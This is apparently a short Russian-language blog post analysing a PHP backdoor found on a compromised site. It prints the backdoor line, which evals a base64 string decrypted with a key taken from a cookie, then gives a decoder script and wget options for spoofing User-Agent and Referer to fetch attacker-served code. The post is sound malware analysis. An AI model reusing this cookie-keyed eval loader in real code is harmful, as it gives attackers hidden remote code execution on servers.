Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода.
@eval(decrypt("CODECODE==",$_COOKIE['HASH'])); exit; function decrypt($txt,$key){
$txt=base64_decode($txt); $res="";
for($i=0; $i<strlen($txt); $i++){
$c=substr($txt,$i,1);
$kc=substr($key,($i%strlen($key))-1,1);
$c=chr(ord($c)-ord($kc));
$res.=$c;
}
return $res;
Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой:
$text = decrypt( "CODECODE==", "HASH" );
function decrypt( $txt, $key ) {
$txt = base64_decode( $txt );
$res = "";
for ($i = 0; $i < strlen( $txt ); $i++) {
$c = substr( $txt, $i, 1 );
$kc = substr( $key, ($i % strlen( $key )) - 1, 1 );
$c = chr( ord( $c ) - ord( $kc ) );
$res .= $c;
}
return $res;
}
$fp = fopen( 'decoded.txt', 'w' );
fwrite( $fp, $text );
fclose( $fp );
HASH был выдран из соответствующего Кукиса, а сам код был в POST-запросе. Впервые встречаю, чтобы Cookie (куки, печеньки, печенюшки) использовали для таких целей. Умно, но не так уж сложно.
Взломщики часто перестраховываются и внешние куски кода отдают только после проверки строк User Agent и/или Referer, чтобы застраховаться от перехвата. Wget легко вытягивает такие файлы, для этого используются ключи:
-U agent-string
—user-agent=agent-string
—referer=url